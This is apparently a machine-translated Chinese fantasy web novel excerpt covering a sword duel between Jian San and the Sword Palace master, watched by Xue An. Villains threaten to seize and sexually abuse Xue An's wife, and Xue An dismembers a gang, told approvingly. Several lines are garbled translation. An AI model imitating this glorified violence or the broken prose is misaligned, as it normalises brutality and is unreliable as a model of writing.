    Xue An took a sip, and after slowly vomiting it out, he couldn''t help but say: "Three hundred years of Ganoderma lucidum herb? No, it is also mixed with jade rhino horn fragrance!"


    The man held out his thumb in admiration, "Really an expert! It is not difficult to extract the fragrance of Ganoderma lucidum herb, but you are the first to taste the fragrance of jade rhino horn!"


    Xue An smiled, "I''ve been awarded, I''m just guessing."


    The cigarette-like things Xue An smokes are actually tobacco popular among practitioners of the heavens.


    Because it has the magical effect of calming the nerves and relieving depression, it has always been popular and, like the smoke on the earth, it has become a social means.


    Like now.


    Through the medium of this cigarette, Xue An and the man soon had a hot conversation.


    But when they were talking and laughing, they had a pair of hateful eyes staring at them in the dark.

 Chapter 2044： The war begins

    "Hey, isn''t this Chao Jingshan? I didn''t expect that you would dare to appear here! Is this where you should be?"


    With a harsh and mean voice, a group of people squeezed through the crowd and came over, and the leader was a man with an arrogant face.


    After seeing this man, the face of the man who had had a great conversation with Xue An instantly turned pale, and a look of horror appeared in his eyes.


    "You... how can you..."


    "Why did I appear here?" The man smiled coldly, and then glanced over Xue An''s body.


    "Chao Jingshan, I just want to know when the money you owe me will be paid off, otherwise don''t blame me for being rude!"


    Chao Jingshan''s face turned red in an instant, "The money I owe you has already been paid off, why are you trying so hard?"


    "Pay it off? Haha, you really dare to say it, you said it paid off, but what about the evidence?" The man sneered.


    "When I borrowed money from you, I already said it, three cents of interest per year, and then I repaid you a full five cents. You are still so reluctant, what do you want?" Chao Jingshan is almost hysterical Shouted.


    "Stop the **** nonsense, I said you didn''t pay it off if you didn''t pay it off." The man yelled, then winked at the man behind him.


    These people immediately stepped forward and wanted to attack Chao Jingshan.


    Chao Jingshan''s face was frightened.


    But at this moment, Xue An suddenly said indifferently: "What? Are you going to do it in front of everyone in the sword palace?"


    Xue An''s words calmed everyone who was eager to try.


    Chao Jingshan cast a gratitude toward Xue An.


    The man''s expression sank and he said coldly, "What are you, dare to take care of this uncle?"


    Xue An smiled slightly and said slowly: "I hope you had better think about it before you speak, otherwise it would be a shame if you died because of this?"


    A cold light suddenly appeared in the man''s eyes, and then he took a deep look at Xue An, "Let''s go first."


    After all, he took his hand and left straight away.


    But he did not go far, but came not far away, and then stared at Xue Anhe and Chao Jingshan coldly.


    Chao Jingshan was very grateful and whispered: "My friend, thank you for helping me speak, but you should leave soon, you can''t afford these people!"


    Xue An smiled faintly, "Oh? Why do you say that?"


    "Hey, don''t you know that these people are dealers who specialize in lending money. I borrowed some spar from them because of some things and had to borrow some spar from them, but I didn''t expect to be caught in their trap since then, although I have already paid back It is several times the amount of the spar that I borrowed, but these people still say that I have not paid off, and they have repeatedly harassed me!"


    Guanghua flashed in Xue An''s eyes, "Then nobody cares about this?"


    "Who dare to care! I heard that the backstage of these guys is Xuan Mingling, even if I find many people with a head and a face, it still won''t help, so once I get entangled by these people, I can only think that I am unlucky! "The name Chao Jingshan was full of bitter words.


    Xue An''s eyes flashed after hearing this.


    Xuan Ming Ling!


    No wonder this person speaks so arrogantly, it turns out that this super sect is supporting them!


    The things Chao Jingshan faced were not new.


    This is the same as the loan sharks on the earth. They are a group of gangsters who rely on oppressing goodness to make a living.


    Xue An had heard about it back then, but he didn''t expect that even top sects like Xuan Ming Ling would dabble in this matter.


    "My friend, I know you are kind, but you are dragging your family around. Don''t bother you with this incident. After a while, you will slip away quietly before the war begins, otherwise it will attract endless Trouble!" Chao Jingshan said with a serious face.


    Unexpectedly, Xue An just smiled faintly, "Go? Why should I go, and finally came to watch the excitement. How can I go before I finish watching it?"


    "But..." Chao Jingshan was anxious.


    Xue An waved his hand, "I know you are kind, but don''t worry, I have my own way to deal with these people!"


    Facing Xue An''s indifferent expression, Chao Jingshan stopped talking, and finally sighed and stopped talking.


    And at this moment, the man staring at Chao Jingshan in the distance also received a report from his subordinates.


    "Reporter boss, I have checked the person who was with Chao Jingshan, and there is nothing special about it. I guess it just happened to be with him!"


    "Haha!" The man sneered, "If you say that, then this man is simply living impatient, and he dares to fight against me! Did he bring those people next to him? "


    "Yes, the boss, it should be his family!"


    "Very well, since he doesn''t give face so much, then we will teach him a lesson later, first arrest all his family members, and then let him kneel down and beg for mercy!"


    Speaking of this, a very cruel light flashed in the man''s eyes.


    His staff all smiled sternly upon hearing this.


    "Jie Jie, this kid''s wife is in good shape, and I will have a lot of fun then!"


    "Yes, count me!"


    "It''s okay to play, but pay attention to it, don''t play it to death, otherwise how can we make this man submit!"


    These people said lightly, and from their conversation, you can hear that they have done this more than once.


    But they didn''t know that, just as they were talking unscrupulously, a sharp light flashed in the eyes of Xue An in the distance, and it was about to happen.


    But just at this moment, I saw a commotion from the crowd, and then saw a bright light suddenly fly to, after falling on the high platform.


    Astonishingly he was the Master of the Sword Palace, and also Li Jingxing who had been in charge of Buried Sword Mountain for hundreds of years.


    His appearance caused a slight commotion in the audience, and UU reading immediately became extremely awe-inspiring.


    Without him.


    It was really because the sword power that Li Jingxing carried was too powerful.


    It was so powerful that everyone in the entire stand was suffocated.


    "One person suppresses the heavens and sword repairmen dare not talk about kendo. This is the majesty of the master of the sword palace!" Someone sighed softly.


    At the same time, but seeing Li Jingxing standing with his hands behind him, his whole body was full of sword energy, then he slowly closed his eyes, as if waiting for something.


    The audience was silent.


    at last.


    When a sharp and extremely piercing sound came, everyone was refreshed, and Li Jingxing opened his eyes and looked up.


    At the same time, I saw an extremely bright sword light suddenly flying to the top of the platform.


    After the brilliance dissipated, what appeared in the field was a small and slender woman with picturesque eyebrows and full of ethereal beauty.

 Chapter 2045： Pinnacle showdown

    And between her eyebrows, there was a red vertical line, which looked like a sharp sword from afar, full of evil spirits.


    Everyone was shocked.


    At this time, Li Jingxing slowly revealed a smile.


    "Sword Three?"


    The woman stood proudly and nodded slightly, "Yes, I am the sword three, the third three!"


    As soon as this statement was made, there was a silent uproar in the audience.


    There was a solemn look in the eyes of many people.


    Because those who can appear here are not ordinary people. Naturally, you can feel the powerful power contained in Jian San.


    Regardless of her strength, this power alone is enough to prove her reputation.


    Among the crowd, Jiujian Xian Gudong Gudong poured a few more glasses of wine, wiped his mouth, and laughed.


    But unlike his leisure and An Ran, the eyes of this Venerable Evil Sword showed cold hostility.


    And the grandparents of the old sword washing elders hiding behind the crowd were also shocked.


    Especially this night sky bright.


    He stared blankly at Jian San, who was not too close to him in age, and only felt that the pride in his heart broke to the ground.


    He thought that his talent in kendo was enough.


    This is also the reason why he has been so complacent.


    But when I met the sword three, all my pride was shattered into powder.


    Because of almost the same age, this girl has the qualifications to challenge the Lord of the Sword Palace.


    But I can''t even look up.


    This gap is desperate enough.


    at the same time.


    Li Jingxing looked at her with admiration, and then said lightly: "Although I had expected it, your youth is beyond my imagination, girl, your talent in kendo can be ranked among the people I have seen in my life. second!"


    "Oh? Who is the first?" Jian San said with a smile.


    "The first... but someone who seems to be about your age!" Li Jingxing said with a smile, and then glanced at Xue An intentionally or unintentionally.


    Jian San was slightly startled, but even if Xuan seemed to think of something, a faint smile appeared on his face.


    "If you are talking about him, I am willing to admit it!"


    Li Jingxing laughed, "No wonder he told me that there will be a rising star in kendo who will challenge me and let me prepare in advance. What he said is correct. You can indeed be called the best kendo in a century. Rookie!"


    Jian San raised his eyebrows slightly, "Don''t say anything that is close to the truth, because I''m tired of hearing it!"


    As soon as these words came out, Xue An behind the crowd couldn''t help laughing, and then whispered softly.


    "This guy, it''s still like this!"


    Li Jingxing also chuckled a few times, but immediately his expression turned serious.


    "Miss Swordsman, I want to tell you in advance that the kendo duel is extremely dangerous, especially when it comes to the realm of you and me, it will be a life of nine deaths, so if you regret it now, you still have time!


    Jian San shook his head, "Since I challenged you, I have naturally anticipated these situations. Kendo duel is indeed nine deaths, but I have been dueling countless times along the way, but it was never me who died. It will be the same, so..."


    With that, the vertical pattern between Jian San''s brows became more and more red, as if a drop of blood was rolling.


    "It''s you who should really worry about it!"


    These words made all the people in Jian Palace look angry.


    Especially Jian Zaixin and others, staring at Jian San firmly.


    Because in their minds, Li Jingxing was already an unshakable **** on the sword.


    Anyone who dares to desecrate him will suffer retribution.


    This time is no exception.


    The color of appreciation in Li Jingxing''s eyes became stronger, and then he chuckled, "Since you are so confident, then do it!"


    When the words fell, Li Jingxing suddenly raised his eyes, and two bursts of light suddenly appeared in his eyes.


    The air in front of me seemed to be cut apart by these two eyes, and it made a noise.


    Not only that, at this moment, the entire space of the high platform was completely solidified.


    A trace of vitality can''t flow, Li Jingxing just stood there simply, but like an emperor in charge of everything, making people unable to resist the slightest heart, just wanted to kneel down and worship.


    This is the true strength of the Lord Buried Sword Mountain.


    You don''t even need to use a trace of strength, just relying on the cultivation of a sword intent for thousands of years can suppress a life.


    This shows how terrifying Li Jingxing is.


    The crowd around the audience were all shocked.


    But Jian San was completely unmoved, just smiled faintly.


    "It''s interesting, you really are better than that autumn leaf!"


    When the words fell, the three swords deep like green fingers suddenly swiped in front of him.


    Bang!


    The originally stagnant space was instantly chopped by Jian San''s finger.


    A strange color flashed in Li Jingxing''s eyes, and he couldn''t help but blurt out and drank.


    "it is good!"


    This was because Jian San''s seemingly understatement directly slashed at the weakest part of the void.


    Therefore, this kind of effect is formed.


    Although he shouted, Li Jingxing''s movements did not slow down at all, and he slammed his sleeves.


    "Pick me this sword!"


    Whoosh!


    A giant sword condensed by sword intent took shape in an instant, then cut through the void and appeared directly in front of Jian San.


    The speed is so fast that it is too late to blink.


    But Jian San just sneered at this.


    "It''s interesting, but it''s not enough to deal with me!"


    As she said, in front of her, countless sword lights suddenly appeared, and then the sword lights instantly converged and became a small sword, just blocking the giant sword.


    boom!


    After hearing a loud noise, I saw a huge shock wave centered on Jiansan, spreading directly.


    Wherever he went, even this high platform trembled slightly.


    In the first sword showdown of this battle, the two will win or lose!


    And this scene also spread to most of the sky in an instant along with various channels.


    Many people were shocked by the horror that Li Jingxing and Jian San showed.


    And at this moment Jiansan laughed.


    "Li Jingxing, come and go without being indecent, now you also come to pick up my sword!"


    Having said that, Jian San suddenly raised his eyebrows, then pointed it into a sword, and cut it down.


    Rumble!


    This sword seemed to have affected the entire world, and the void of tens of thousands of miles in a radius was shaking, and the infinite sword intent was condensed into a huge sword light that was more than tens of miles long, and it fell under Li Jingxing''s head and face.


    Li Jingxing looked up and couldn''t help but exclaimed.


    "Good job!"


    Having said that, Li Jingxing raised his hand, shaking the sword light with a pair of fleshy palms.


    Click!


    With a continuous explosion, then I saw this sword light breaking apart in front of Li Jingxing.


    The prosperous prestige made the onlookers frightened and retreated.

 Chapter 2046： This sword is called Acacia

    Bang!


    With a loud and dull noise, Li Jingxing''s hands suddenly joined together, and the sword that had been cut three times abruptly was caught in his palm.


    hiss!


    Everyone in the audience took a breath of air-conditioning, and their faces looked shocked.


    Because it is incredible.


    You know that is a sword cut by a top kendo master!


    Qi Fengrui Wushuang was enough to slay anything that dared to stop in front of it, but was forcibly blocked by Li Jingxing''s hands.


    Jian San couldn''t help showing a solemn expression on his face, and then burst into a shout.


    "open!"


    boom!


    The sword light she was holding exploded every inch, and quickly spread to Li Jingxing''s hands.


    Li Jingxing''s body shook slightly, only to feel that there was an angry flood in his hand trying to get out of trouble, and he couldn''t help but let out a cold cry.


    "seal!"


    With a word, Li Jingxing''s eyes burst out with extremely bright brilliance, the supreme coercion blasted down, and the sword light that was about to explode was directly sealed invisible.


    Jian San let out a muffled snort, and took a half step back, apparently suffering a bit from this move.


    But she was not afraid, but took a step forward.


    With one step, the entire sword palace star field was shaken.


    The crowd around the audience swayed more and more, and those with shallow cultivation levels fell directly from the stands.


    In an instant, the whole world quieted down.


    There was also a solemn look in Li Jingxing''s eyes.


    Because at this moment, in Jian San''s eyes, a shimmering sword light was rapidly taking shape.


    However, before a while, a snowy sword glow floated before Jian San''s eyebrows, and the look on her face also became more and more ethereal.


    Then Jian San shouted in a voice that was so cold that there was no emotion at all, "I use my sword... to cut the sky!"


    boom!


    Haoran sword intent rose to the sky, shaking the star field, shaking the universe.


    Immediately afterwards, the sword shines like a sea, with the supreme elegance, straight to the Jingxing!


    Wherever he went, even the space was cut in half.


    Li Jingxing''s clothing robe was blown away by sword air, and the golden band of hair on his head was directly smashed by the sharp sword intent, and his long hair fell apart, as if it would rise against the wind anytime.


    And his eyes were also dyed with a faint glow of the brilliance of this stunning sword.


    Then lightly shouted: "Hidden sword!"


    When the words fell, countless small sword energy vortexes appeared around his body.


    These vortexes spun wildly, forming an extremely powerful tearing force.


    At the same time, Jian San''s sword has also been cut to the front.


    As soon as the two came into contact, the sword that was originally powerful as a rainbow seemed to fall into the mud, its speed instantly slowed down, and it began to weaken.


    In an instant, Jian Guang was weakened by most of the life, and the remaining ones were no longer a sword.


    "Hidden sword style! It is the hidden sword style among the twelve buried sword styles!" Someone among the crowd of onlookers in the distance exclaimed.


    The rest was also a commotion.


    Jiujianxian Linghu Jue had already forgotten to drink at this moment, but looked at the court with piercing eyes.


    The series of battles just now made him completely addicted to it.


    Especially at this moment, in the field of vision, he whispered softly: "Hiding the sword in the heart, burying the sword in the bone, you really deserve to be the master of the sword palace, what an exquisite sword intent!"


    As for the Venerable Evil Sword Feng Ziming, his eyes flashed with brilliance at this moment, and he didn''t know what he was thinking!


    Seeing this battle, this night sky was also heartbroken, and couldn''t help but ask softly: "Grandpa, who do you think will win or lose in this battle?"


    The old man Ye Bufan stared at the high platform, his face sinking like water, after thinking for a moment, he said in a deep voice.


    "Anyway, judging from the current situation, the lord of the sword palace has the upper hand, because he hasn''t fight back from start to finish, and the third sword girl is attacking all the time!"


    "Isn''t this bad? Why do I feel that Jian San is pressing the master of the sword palace the whole time?" Ye Kongming said in a puzzled way.


    "Hehe, don''t look at the current situation, you must know that kendo is the most powerful in one way, and it will fail after three times. Especially if this sword can''t attack three times repeatedly, it will definitely lose strength, plus she has received a little injury just now. , All this is extremely bad for her!"


    "So I think that the final result of this battle will definitely be the victory of the Lord of the Palace of Swords, which means that the road to challenge of the three girls of swords will end!"


    Speaking of this, Ye Bufan couldn''t help but sigh.


    Although they didn''t know each other, Ye Bufan, who was an orthodox swordsman, still admired and admired such a genius of swordsmanship who was so talented and peerless who kept challenging himself.


    Now that I see her, I may fall immediately, and I naturally sigh in my heart.


    And it''s not just him, many people in the field at the moment are holding the same idea, thinking that Jian San is about to lose.


    Including Chao Jingshan, who had been hiding at the end of the stand, shook his head at this moment.


    "It''s a pity that such a beautiful girl is about to lose!"


    As he said, he turned his head to look at Xue An, "What do you think?"


    I didn''t want Xue An to chuckled and shook his head, "I don''t think so!"


    "Oh? Why?" Chao Jingshan was taken aback.


    "Because it is too early to win or lose in this battle."


    "But now the situation on the court is already obvious!"


    "Hehe, this is just the beginning, everything will not be visible until the dust settles!"


    With that said, Xue An stared at the figure in the court and whispered softly: "Take out all your strengths and let me see if you have made any progress recently!"


    As if he felt Xue An''s gaze, Jian San glanced at the stand intentionally or unintentionally, then raised his eyes to look at Li Jingxing, who was surrounded by Jian Qi vortexes.


    "It seems that the sword repair rankings of the heavens are also innumerable. Although you are only one higher than Qiu Yiye, you are much better than him!"


    Li Jingxing''s tone was indifferent, "Thanks to the award, you are actually not bad, but if it is nothing more than that, then today''s battle does not have to continue!"


    "Because you lose!"


    Such a firm tone caused a commotion in the audience.


    Jian San smiled Under a smile, the ethereal and ethereal on her face disappeared instantly, replaced by a touch of thoughts.


    Especially in her eyes, that kind of lovesickness is almost overflowing.


    "If it were before, I might have given up, but now it''s not necessarily because I still have the strongest sword that I haven''t cut out!"


    "Oh? The strongest sword?" Li Jingxing was startled slightly.


    "Yes, I take care of this sword, and I named it... Acacia!"


    After saying this, in front of Jiansan, a small, red, **** sword-doing phase took shape in an instant.


    But you can''t feel any killing intent from this delicate little sword that looks like a work of art.


    Yes, just endless thoughts.


    The three green fingers of the sword gently stroked the blade, and then whispered: "This sword was taught to me. Now... I will let you see the power of this sword!"

 Chapter 2047： This sword is ruthless

    It''s different from the calmness just now.


    After seeing this small sword, Li Jingxing''s eyes finally showed deep jealousy.


    Because the sword is the main killer, the murderous aura of cultivation is easy, but like the sword three, instead of the slightest murderous, it has a touch of lovesickness.


    This is extremely difficult.


    More importantly, when this sword appeared, in Li Jingxing''s divine consciousness perception, the sword three in front of him suddenly disappeared.


    That''s right!


    It just disappeared completely!


    She seemed to have melted into this whole world, making Li Jingxing lose his target.


    Not only he was shocked.


    The audience is also boiling.


    "Acacia sword! Good name, good swordsmanship! Become a big white!" As he said, the wine sword immortal Linghu Jue suddenly became excited, and then gulped his drink.


    The old man Ye Bufan slapped his thigh with excitement, and said with great excitement: "Really a peerless genius with peerless talent. Compared with others, I have lived in vain for hundreds of years!"


    As for his grandson, Ye Kongming, he looked at the majestic Jiansan in the field with a dull face, and only felt that some of the illusions that had just risen broke instantly.


    Needless to say, it must be an extremely good man who can make such a girl named Acacia.


    But who would he be?


    When he was puzzled, Xue An, who was standing at the end of the stand, felt like a thorny back.


    The look on his face also became awkward.


    At this moment, An Yan retracted his gaze into the battlefield, then leaned to Xue An''s ear, and said softly: "Husband, is this you mentioned in the mouth of the third girl of sword?"


    "Uh...Yan''er, you must have misunderstood, I just said casually at the time, who knew she would really..."


    The following words were not finished, because the severe pain from the waist was reminding Xue An to shut up.


    An Yan squeezed the meat on Xue An''s waist fiercely, and then said fiercely, "I''ll clean up you later!"


    Xue An could only smile wryly.


    At the same time, new changes have taken place in the battlefield.


    I saw Jian San holding this small, small sword, like a child frolicking, slashing a few swords at Li Jingxing at will.


    But just such a few swords that seemed to be a joke, made Li Jingxing look like an enemy.


    With a sudden stomping, a vortex of sword energy flew out, trying to block these swords.


    But this time, the seemingly indestructible sword qi vortex, but like fragile glass, it broke into pieces without holding it for a second.


    Immediately afterwards, a few faint rays of light struck Li Jingxing, wherever he passed, even the waves did not stir.


    Li Jingxing took a deep breath and then let out a loud shout.


    "Eepee!"


    When the words fell, in front of him, a circular arc of sword energy suddenly appeared, and then it fought against the sword lights that had been cut.


    Ding Ding Ding!


    After a few crisp sounds, the swords of Jiansan were directly crushed by this extremely heavy arc of sword energy.


    "The epee has no edge, the skill is not working! The buried sword is twelve styles, the epee style!" Jiu Jianxian said softly because of the colorful eyes.


    The so-called sword is too sharp and easy to break, so this style simply takes the meaning of heavy sword.


    The epee has no front, and naturally it will not break.


    Therefore, Li Jingxing''s response with this sword was obviously the peak of the magic.


    But at this moment, Jiansan smiled innocently, just like a little girl in the beginning of love.


    "The heavy sword can destroy all tangible sword auras, so what about you who are invisible like me?"


    As he said, Jian San let out a breath.


    This time, she hadn''t even swung her sword, but just such an invisible and innocent air flow made Li Jingxing''s face changed.


    Then step back sharply.


    At the same time, as he retreated, the sword light in front of him kept flickering, and hundreds of barriers were set in an instant.


    But all is in vain.


    Just in a moment, all the sword gas barriers exploded to shatter.


    Li Jingxing even snorted, and then a trace of blood spilled along the corner of his mouth.


    "Master!"


    "Sword Master!"


    There was chaos in the audience.


    Jane was waiting for the sword palace to walk in her heart and couldn''t believe it was true.


    Because in their minds, Lord Sword Master is an omnipotent god.


    How could the gods get hurt?


    But the iron-clad fact before them shattered all the illusions in their hearts.


    The rest of the people were even more shocked.


    The wine gourd in Jiu Jianxian''s hand fell to the ground with a snap.


    But even if this gourd, which he regarded as a treasure, fell to the ground, it failed to awaken him from the shock.


    I saw him with a dull expression and an unbelievable face mumbled: "Acacia? No, this sword is innocent and innocent. It is clearly like a girl who has fallen in love. He is already in love!"


    Speaking of this, Jiu Jianxian couldn''t help showing a deep shock in his eyes, and when he looked at Jian San, it was even more like looking at a peerless celestial being.


    Because he couldn''t imagine how anyone could integrate emotions into Kendo so perfectly.


    And he used it at will, lashing out at Fang Qiujian, as if every move contained infinite swordsmanship.


    This has gone beyond the scope of genius and reached an unthinkable situation.


    at the same time.


    Li Jingxing slowly wiped off the blood stains from the corners of his mouth, looking at Jian San standing in the void in the distance, a smile slowly appeared on his face.


    "Good swordsmanship, after so many years, you are the first to hurt me with your sword!"


    Jiansan chuckled, "Don''t worry, I won''t care about this honor, because you will soon be defeated by my sword!"


    With that, Jian San bowed his head slightly, rolled up his long hair very casually, and then casually pinned the small sword to his hair.


    After doing all this, Jiansan bit a strand of hair in his mouth, his eyebrows and eyes curled up, smiling like a flower.


    "cut!"


    With one word, everyone present felt that the starry sky disappeared instantly, replaced by a faint glow.


    The brilliance is like water like a mirror, and one can''t help but be intoxicated.


    Only a few people knew the supreme sword intent behind this sword.


    Jiujian Immortal Linghu Jue even groaned, "Standby! This is the determination of the Zhenlie woman to stay with her lover for a lifetime!"


    Li Jingxing''s eyes reflected the sword that was overwhelmingly cut, and slowly said: "Heart sword!"


    With a word, UU Reading www.uuk��nshu.com a series of swordsmanship that smashed the heavens and jedi turned into a vast ocean around him, and then went straight to greet him.


    It is the first style of the twelve buried swords, the heart is the sword!


    The sword is like thunder on a rainy summer night, bursting out one after another.


    In an instant, the sword of Jiansan was completely submerged, and countless sword lights rushed towards Jiansan like a torrent.


    Wherever he went, the space shattered.


    Everyone was deterred by the threat of Li Jingxing''s sword, and while dazzled, they all sweated for Jian San.


    Because no one can survive such a powerful surge of sword energy.


    But at this moment, the expression on Jian San''s face suddenly became sad, and then a crystal teardrop fell down the corner of his eyes.


    "The most painful is lovesickness!"


    "I deliberately but you are ruthless, this is... the ruthless sword!"

 Chapter 2048： Like a sword

    Imagine you are running in an endless wilderness in the vast snowy night.


    suddenly.


    The dark clouds all over the sky suddenly split a gap, and a ray of moonlight cast down and shone on the snowy field.


    What color is that moonlight, then what color is this sword of Jiansan.


    Almost in an instant, this sword split through the torrents of sword energy, and went straight to Li Jingxing.


    Wherever he went, he felt like the most unfeeling prodigal son.


    Li Jingxing only felt his whole body''s hairs stand up instantly, and then his eyebrows and hair were cut off.


    The hair was scattered all over the sky, and he had no time to dodge, so he could only take a step forward and shouted in a deep voice.


    "Buried the sword!"


    The last pose of the twelve buried sword poses, which is also the most powerful final pose, begins here.


    This buried sword style is different from the hidden sword style.


    The Tibetan sword is a sword that has an edge and does not show it, it is for the Tibetan sword.


    The buried sword is a great master of fame, and he carries the supreme sword into the wild and deep mountains, and his deeds are not obvious, but there is a **** name in the world, and the buried sword!


    This formula comes out.


    The ruthless sword energy that had already commanded everything and trapped Li Jingxing alive in it instantly stagnated, and then gradually became obscure.


    The sword is rusty and blunt.


    But Li Jingxing''s face also turned pale, apparently under extreme pressure.


    Bang!


    After a sudden loud noise, the high platform was shattered to pieces, and smoke rose from the sky.


    However, Li Jingxing passed through the smoke and flew out, and vomited a big mouthful of blood in the air.


    The blood splashed down, and the whole audience was silent.


    "Master!" Jane exclaimed in her heart, before rushing upwards.


    However, Jiansan and Li Jingxing''s kendo cultivation bases were too high. When the two played against each other, the entire high platform had been sealed off by the strict swordsmanship, and outsiders were not allowed to enter.


    Boom!


    Li Jingxing fell heavily to the ground, and then panted quickly.


    With every breath, blood will flow down his mouth and nose.


    The whole audience was stunned by this scene.


    Because no one expected the situation on the battlefield to turn so sharply.


    Li Jingxing, who clearly had the advantage just now, became like this in the blink of an eye.


    Could it be said that even the lord of the sword palace couldn''t resist the advancement of Jian San?


    Chao Jingshan, who stood behind the crowd and watched the battle, couldn''t help sighing when he saw this scene.


    "My friend, as expected, you are more accurate. I didn''t expect this sword three to be so powerful. Even the lord of the sword palace is not her opponent!"


    But Xue An did not respond to his words, but raised his head and quietly looked at Jian San standing in the void, with a deep worry in his eyes.


    He could perceive that Jian San''s aura was constantly falling.


    Not only him, but many kendo masters in the field also noticed the abnormality.


    Therefore, Jiansan at this moment is too quiet.


    Quiet to the point of abnormality.


    It stands to reason that now Li Jingxing has been seriously injured by him, and she should take advantage of the victory and pursue it.


    But at this critical moment, Jian San remained motionless, which in itself was a bit strange.


    really.


    When the audience began to commotion slightly.


    I saw the small lingding sword pinned to the sword three''s bun suddenly shattered.


    The hair was scattered all over the head in an instant, and the slap-sized face was pale as paper against the background.


    And at the corner of her mouth, there was a ray of pale golden blood slowly dripping.


    The audience was silent at first, and then shook for it.


    Many people were horrified.


    Because the current situation tells them that this is clearly a lose-lose ending!


    Could it be said that this summit match is about to end like this?


    At this moment, Li Jingxing slowly wiped off the blood from his mouth and nose, then raised his head and said lightly.


    "Miss Sword, now your lovesickness, love, mutual defense, and ruthless four swords have been broken by me, what else can you say?"


    Jian San was silent.


    Li Jingxing went on and said: "Just surrender now. Although you have hurt me badly, but because of your supreme talent, I will not embarrass you!"


    Li Jingxing''s words caused an uproar in the audience.


    Only then did people realize that it was Jian San who had lost!


    Jane breathed out when she waited for the sword palace to walk in her heart.


    In any case, the battle just now caused great pressure on them.


    They can''t imagine how people like themselves should respond if Master really loses.


    But more people turned their eyes to Jian San who was independent of the void.


    For this woman who almost defeated the lord of the sword palace, even the arrogant Jian Xiu had to be convinced at this moment.


    Jian Sanyi said nothing, her head hung down, her hair scattered all over her head, and her face and expression could not be seen clearly.


    Even when faced with Li Jingxing''s words, she did not respond.


    The crowd began to stir again.


    Old Man Washing Sword Ye Bufan couldn''t help taking the lead, took a step forward and shouted loudly.


    "Ms. Sword San, just as Master Sword Master said, admit defeat! You have done well enough, even though defeat is honorable!"


    "Yeah! Give up first, you are still young, there will be opportunities in the future!" Ye Kongming also shouted excitedly.


    The shouts of the grandfather and grandson also reminded everyone, and the audience burst into clamor for a while.


    Even the Jiujianxian couldn''t help taking a deep breath, and said solemnly.


    "Miss Sword, if you are afraid that the younger generation will take the opportunity to make trouble, then Linghu, the immortal Jiujian will definitely **** you away!"


    As soon as this remark came out, the audience was quiet.


    At the same time, many people with bad intentions shook their bodies, then buried their heads deeply, never daring to lift them up again.


    Because everyone can see how terrifying the talent of the Sword Three Girl.


    And now she was seriously injured, if she could take this opportunity to control it, it would be a huge profit.


    But Ling Hujue''s words ruthlessly shattered the illusions in these people''s hearts.


    Feng Ziming, including this Venerable Evil Sword, couldn''t help but sip in secret.


    "Damn, the dog is nosy with the mouse!"


    But just as Linghujue''s words fell, Jian San, who bowed his head, suddenly let out a chuckle. UU reading


    Although the laughter was weak, the belief in it was so decisive.


    "Acknowledge? My Jiansan came along and challenged countless kendo masters. I have never bowed my head to admit defeat, and it is the same today!"


    Speaking of this, Jian San suddenly raised his eyes, his eyes full of sword intent.


    Then, on her body, a boiling sword intent suddenly rose, burning like a flame.


    "Turning a sword into a body, no! She is trying her best to stop her!" Jiujianxian Linghu exclaimed, and then flew up, trying to break through the barrier to stop Jian San.


    But everything is too late.


    I saw the sword turned into a Changhong, and came straight to Li Jingxing like a meteor falling to the ground.


    The audience exclaimed.


    An Yan couldn''t help but screamed, and then shook Xue An''s arm vigorously.


    "Husband, go and stop this Sword Three Girls!"

 Chapter 2049： Now that the sword has been drawn, there is no possibility of returning the sheath...

    Xue An had a complicated expression on his face, and then sighed and shook his head, "It''s useless, her sword has been drawn out, and there is no possibility of returning the sheath. Kendo duel is so cruel!"


    At this moment, Li Jingxing''s eyes also showed deep respect, then he put his palm on his chest and said softly.


    "Since you don''t hesitate to fight for victory or defeat, then I will fulfill you! Rite sword!"


    To hold a sword with ceremonies is a sword of ritual!


    boom!


    The two collided heavily, and a ball of light suddenly appeared, and then the ball of light began to expand and spread at a terrifying speed.


    In an instant.


    A bright white light flashed, stinging everyone''s eyes.


    Immediately afterwards, the void vibrated, the high platform shook, and even these peripheral stands were blown far away.


    The less powerful people were stunned by the leaked power without even humming.


    After the brilliance gradually dissipated, look at the high platform.


    Li Jingxing sat down on the ground with a pale face, closed his eyes, and was still bleeding from his mouth and nose.


    Jian Sanze knelt on the ground, holding the ground with both hands, barely letting himself fall.


    In front of her chest and abdomen, there was a huge scar across her body diagonally.


    This scar is so huge that even the valgus muscles and the faintly exposed white bones can be clearly seen.


    But it is strange that no drop of blood came out of such a huge wound.


    Everyone looked silly.


    At this moment, Jian San said in a low voice, "I know you have been there all the time. Can you come out to see me now?"


    This statement came out.


    Everyone in the audience looked blank.


    What do you mean?


    Who is always there?


    Only a few people faintly guessed something, but they didn''t say anything.


    at the same time.


    Chao Jingshan said with a strange look: "My friend, who is this sword three talking about? Who is so important that she even wants to see the last time before she dies?"


    Even if it was him, he could see that Jiansan was almost out of oil and was about to die soon.


    After questioning, Chao Jingshan didn''t hear a response, and couldn''t help turning his head to look strangely.


    Then he saw a scene that shocked him extremely.


    But seeing Xue Anchong Anyan nodded lightly, then he separated the crowd and walked forward with a solemn face.


    Wherever they passed, everyone involuntarily retreated to the sides, giving way to a path.


    But there are also those who do not believe in evil.


    For example, the group of guys who had been charged with Chao Jingshan before, they stood very close, which happened to be the only way for Xue An.


    Therefore, after seeing Xue An walking here, the group of people couldn''t help winking at each other, and then sneered trying to block Xue An.


    "Boy, this is not where you should be, so quickly get back to the back!" One of them said very arrogantly, and tried to reach out and drive Xue An away.


    But in the next second, he would never be able to do this action again, because his hand had already said goodbye to him forever.


    A wisp of sword light directly cut off his elbows with both hands, and when he fell to the ground, this talent reacted.


    He looked down at his two bare elbows, just about to scream.


    A white light flashed in front of him, and then he felt like he was flying up into the sky, and he even saw the group of companions below who were full of surprise.


    Boom!


    The man''s head fell to the ground, and he died absolutely.


    But this is just a prelude.


    Before these people could react, Xue An''s footsteps were not chaotic, and he had already taken another step forward.


    One step below.


    Sword glow overflows.


    Then flocked to these people like fallen leaves and flying flowers.


    Hey!


    Accompanied by a very crisp sound of cutting flesh.


    But in the blink of an eye, these people were completely cut into pieces by Jian Mang.


    When Xue An approached the front, the sword light dissipated and the blood fell to the ground, and then Xue An walked past a pool of blood without stopping at all.


    The whole process only took a few steps in total, and the group of people who had just survived became **** mud on the ground.


    hiss!


    Everyone couldn''t help taking a breath.


    Many sword repairmen asked themselves that they could barely do this, but it would be too difficult to be like this young man in white, such an understatement, without the slightest smoke.


    The key is that from beginning to end, Xue An didn''t even blink his eyelids, as if it was not a group of people who died in front of him, but a group of lambs to be slaughtered.


